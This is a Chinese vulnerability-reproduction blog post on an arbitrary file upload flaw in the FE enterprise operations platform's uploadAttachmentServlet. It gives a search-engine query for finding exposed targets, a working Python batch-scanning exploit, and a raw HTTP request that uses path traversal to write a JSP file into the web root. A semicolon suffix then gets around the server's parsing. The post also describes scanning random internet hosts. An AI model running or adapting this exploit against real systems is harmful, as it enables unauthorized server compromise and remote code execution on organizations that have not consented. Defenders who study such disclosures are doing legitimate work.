【漏洞复现】飞企互联-FE企业运营管理平台 uploadAttachmentServlet—文件上传漏洞
声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
一、漏洞描述
企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云工作台。然而,该平台的uploadAttachmentServlet接口存在文件上传漏洞,这使得恶意攻击者有可能上传有害的后门程序或木马。这种攻击可能使得攻击者获得对服务器的远程访问权限,或者对系统造成破坏,给服务器带来严重的安全威胁。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"

2.使用poc批量扫描
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):"""生成包含n个字符的随机字符串。参数:n -- 字符串的长度返回值:随机生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检测URL是否存在上传漏洞
def check_vulnerability(url):"""检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数:url -- 待检测的URL无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。"""# 生成随机文件名filename = rand_base(6)# 构造上传URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 设置上传请求的头部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 构造上传请求的数据upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 发送访问请求response_access = requests.get(access_url, verify=False, timeout=30)# 检查上传和访问的响应,判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 程序入口
def main():# 解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()
cmd运行:python poc.py -f url.txt
随机寻找的幸运儿

三、漏洞复现
1.构造数据包
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
2.数据包分析
-
请求行:
POST /servlet/uploadAttachmentServlet HTTP/1.1,表示这是一个POST请求,目标URL是/servlet/uploadAttachmentServlet,使用的HTTP协议版本是1.1。 -
请求头:包括主机、用户代理、接受类型、接受语言、接受编码和连接等信息。
-
请求体:包含两个部分,一个是文件内容,另一个是JSON数据。
-
文件内容部分:
- 边界标识符:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk - 内容描述:
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp",表示上传的文件名为from.jsp,位于../../../jboss/web/fe.war/目录下。 - 内容类型:
Content-Type: text/plain,表示上传的文件类型为纯文本。 - 文件内容:
<% out.println("123123");%>,这是一个简单的JSP脚本,输出字符串"123123"。
- 边界标识符:
-
JSON数据部分:
- 边界标识符:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk - 内容描述:
Content-Disposition: form-data; name="json" - JSON数据:
{"iq":{"query":{"UpdateType":"mail"}}},这是一个JSON对象,包含一个名为iq的对象,该对象又包含一个名为query的对象,最后这个query对象有一个名为UpdateType的属性,值为mail。
- 边界标识符:
-
-
结束边界标识符:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--,表示请求体的结束。
3.结束跑路
使用yakit工具构造数据报发送

查看上传的文件,最后要用;结尾绕过解析。
访问上传的文件http://ip/from.jsp;

每篇一言:心向花开,何不朝夕。
相关文章:
【漏洞复现】飞企互联-FE企业运营管理平台 uploadAttachmentServlet—文件上传漏洞
声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。 一、漏洞描述 企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云…...
基于深度学习的语言生成
基于深度学习的语言生成(NLG, Natural Language Generation)是一种利用深度学习模型生成自然语言文本的技术。它在智能写作、自动摘要、对话系统、机器翻译等领域有广泛应用。以下是对这一领域的系统介绍: 1. 任务和目标 语言生成的主要任务…...
Kafka Rebalance详解
作者:耀灵 1.rebalance概览 rebalance中文含义为再平衡。它本质上是一组协议,规定了一个 consumer group 是如何达成一致来分配订阅 topic 的所有分区的。比方说Consumer Group A 有3个consumer 实例,它要消费一个拥有6个分区的topic&#…...
在 Markdown 编辑器中插入 空格 Space 和 空行 Enter
1. 空格 Space  2.空行 Enter <br/>...
js逆向-webpack-python
网站(base64):aHR0cHM6Ly93d3cuY29pbmdsYXNzLmNvbS96aA 案例响应解密爬取(webpack) 1、找到目标url 2、进行入口定位(此案例使用 ‘decrypt(’ 关键字搜索 ) 3、找到位置进行分析 --t 为 dat…...
Python精神病算法和自我认知异类数学模型
🎯要点 🎯空间不确定性和动态相互作用自我认知异类模型 | 🎯精神病神经元算法推理 | 🎯集体信念催化个人行动力数学模型 | 🎯物种基因进化关系网络算法 | 🎯电路噪声低功耗容错解码算法 📜和-…...
npm install 报错:PhantomJS not found on PATH
npm install 报错:PhantomJS not found on PATH 整体报错内容 npm ERR! code 1 npm ERR! path G:\work-learn\open-coding\bruno\node_modules\phantomjs-prebuilt npm ERR! command failed npm ERR! command C:\Windows\system32\cmd.exe /d /s /c node install.…...
【C++进阶学习】第六弹——set和map——体会用C++来构建二叉搜索树
set和map基础:【C进阶学习】第五弹——二叉搜索树——二叉树进阶及set和map的铺垫-CSDN博客 前言: 在上篇的学习中,我们已经学习了如何使用C语言来实现二叉搜索树,在C中,我们是有现成的封装好的类模板来实现二叉搜索树…...
sqlmap确定目标/实操
安装kali,kali自带sqlmap,在window系统中跟linux系统操作有区别 sqlmap是一款自动化SQL工具,打开kali终端,输入sqlmap,出现以下界面,就说明sqlmap可用。 sqlmap确定目标 一、sqlmap直连数据库 1、直连数据库…...
Java笔试|面试 —— 对多态性的理解
谈谈对多态性的理解: 一个事物的多种形态(编译和运行时状态不一致性) 实现机制:通过继承、重写和向上转型(Object obj new 子类())来实现。 1.广义上的理解 子类对象的多态性,方法的重写&am…...
从RL的专业角度解惑 instruct GPT的目标函数
作为早期chatGPT背后的核心技术,instruct GPT一直被业界奉为里程碑式的著作。但是这篇论文关于RL的部分确写的非常模糊,几乎一笔带过。当我们去仔细审查它的目标函数的时候,心中不免有诸多困惑。特别是作者提到用PPO来做强化学习,…...
location匹配的优先级和重定向
nginx的重定向(rewrite) location 匹配 location匹配的就是后面的uri /wordpress 192.168.233.10/wordpress location匹配的分类和优先级 1.精确匹配 location / 对字符串进行完全匹配,必须完全符合 2.正则匹配 ^-前缀级别ÿ…...
观察矩阵(View Matrix)、投影矩阵(Projection Matrix)、视口矩阵(Window Matrix)及VPM矩阵及它们之间的关系
V表示摄像机的观察矩阵(View Matrix),它的作用是把对象从世界坐标系变换到摄像机坐标系。因此,对于世界坐标系下的坐标值worldCoord(x0, y0, z0),如果希望使用观察矩阵VM将其变换为摄像机坐标系下的坐标值localCoord(x…...
谷粒商城学习笔记-19-快速开发-逆向生成所有微服务基本CRUD代码
文章目录 一,使用逆向工程步骤梳理1,修改逆向工程的application.yml配置2,修改逆向工程的generator.properties配置3,以Debug模式启动逆向工程4,使用逆向工程生成代码5,整合生成的代码到对应的模块中 二&am…...
时序预测 | Matlab实现TCN-Transformer的时间序列预测
时序预测 | Matlab实现TCN-Transformer的时间序列预测 目录 时序预测 | Matlab实现TCN-Transformer的时间序列预测效果一览基本介绍程序设计 效果一览 基本介绍 基于TCN-Transformer模型的时间序列预测,可以用于做光伏发电功率预测,风速预测,…...
没想到MySQL 9.0这么拉胯
MySQL 7月1号发布了9.0版本,然而没想到并没有引起大家的狂欢,反而是来自DBA圈子的一篇吐槽,尤其是PG界吐槽更厉害。 难道MySQL现在真的这么拉胯了?本着好奇的态度,我也去下载了MySQL9.0的手册看了一下。确实有点让我大…...
开源 Wiki 系统 InfoSphere 2024.01.1 发布
推荐一套基于 SpringBoot 开发的简单、易用的开源权限管理平台,建议下载使用: https://github.com/devlive-community/authx 推荐一套为 Java 开发人员提供方便易用的 SDK 来与目前提供服务的的 Open AI 进行交互组件:https://github.com/devlive-commun…...
1.Introduction to Spring Web MVC framework
Web MVC framework 文档:22. Web MVC framework (spring.io) 概述 Web MVC框架(Web Model-View-Controller Framework)是一种用于构建Web应用程序的软件架构模式。MVC模式将应用程序分为三个主要组件:模型(Model&am…...
Onnx 1-深度学习-概述1
Onnx 1-深度学习-概述1 一: Onnx 概念1> Onnx 介绍2> Onnx 的作用3> Onnx 应用场景4> Onnx 文件格式1. Protobuf 特点2. onnx.proto3协议3> Onnx 模型基本操作二:Onnx API1> 算子详解2> Onnx 算子介绍三: Onnx 模型1> Onnx 函数功能1. np.random.rand…...
网络基础——udp协议
UDP协议(User Datagram Protocol,用户数据报协议)是OSI(Open System Interconnection,开放式系统互联)参考模型中一种无连接的传输层协议,它提供了一种简单的、不可靠的数据传输服务。以下是关于…...
微信小程序二维码生成实战指南:weapp-qrcode高效解决方案
微信小程序二维码生成实战指南:weapp-qrcode高效解决方案 【免费下载链接】weapp-qrcode 微信小程序快速生成二维码,支持回调函数返回二维码临时文件 项目地址: https://gitcode.com/gh_mirrors/weap/weapp-qrcode 在微信小程序开发中,…...
Sixpack Redis数据存储策略:高效管理A/B测试数据的10个技巧
Sixpack Redis数据存储策略:高效管理A/B测试数据的10个技巧 【免费下载链接】sixpack Sixpack is a language-agnostic a/b-testing framework 项目地址: https://gitcode.com/gh_mirrors/si/sixpack Sixpack是一个语言无关的A/B测试框架,它通过R…...
5分钟快速生成专业README文件:readme-md-generator完全指南
5分钟快速生成专业README文件:readme-md-generator完全指南 【免费下载链接】readme-md-generator 📄 CLI that generates beautiful README.md files 项目地址: https://gitcode.com/gh_mirrors/re/readme-md-generator 在开源项目开发中&#x…...
Inno Setup 简体中文语言包:3分钟让Windows安装程序说中文![特殊字符]
Inno Setup 简体中文语言包:3分钟让Windows安装程序说中文!🚀 【免费下载链接】Inno-Setup-Chinese-Simplified-Translation :earth_asia: Inno Setup Chinese Simplified Translation 项目地址: https://gitcode.com/gh_mirrors/in/Inno-S…...
【ElevenLabs高棉文语音实战指南】:2024年唯一经实测支持Khmer TTS的AI语音方案,附5步接入避坑清单
更多请点击: https://codechina.net 第一章:【ElevenLabs高棉文语音实战指南】:2024年唯一经实测支持Khmer TTS的AI语音方案,附5步接入避坑清单 为什么ElevenLabs是当前唯一可行的Khmer TTS方案 截至2024年第三季度,…...
聊聊6G试验频率
2026年5月8日,工业和信息化部向IMT-2030(6G)推进组批复6G试验频率使用许可,支持其在部分地区开展6G技术试验。这一看似平常的行政批复,却有里程碑式的意义。它标志着中国6G产业进入到新的阶段,正加速从实验…...
网页端嵌入 Agent 对接前端方案
本文将深入探讨「网页端嵌入AI」的核心概念与实战技巧,帮助你快速掌握关键要点。让我们开始吧! 网页端嵌入 Agent 对接前端方案 1. 引言 当前前端项目正从被动展示走向主动交互,AI Agent 嵌入网页端可自动化 UI 操作、优化布局并辅助编码。…...
Java全栈工程师面试实录:从基础到微服务的深度技术对话
Java全栈工程师面试实录:从基础到微服务的深度技术对话 面试官与程序员的对话 面试官(李哥): 你好,欢迎来参加我们公司的面试。我是李哥,负责技术面试。先简单介绍一下你自己吧。 程序员(张浩&a…...
太顶了!输入主题,这几款AI论文软件自动生成毕业论文初稿!
毕业季论文焦虑?还在为选题、查资料、写大纲、润色修改熬夜到凌晨?别担心,现在只需输入主题,几款AI论文工具就能自动生成图文并茂的毕业论文初稿,从开题到定稿全流程搞定!千笔AI、ThouPen、豆包、DeepSeek、…...
对比按需计费与 Token Plan 套餐哪种方式更适合长期项目
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 对比按需计费与 Token Plan 套餐哪种方式更适合长期项目 在长期且用量稳定的开发项目中,如何选择成本模型是技术决策的…...
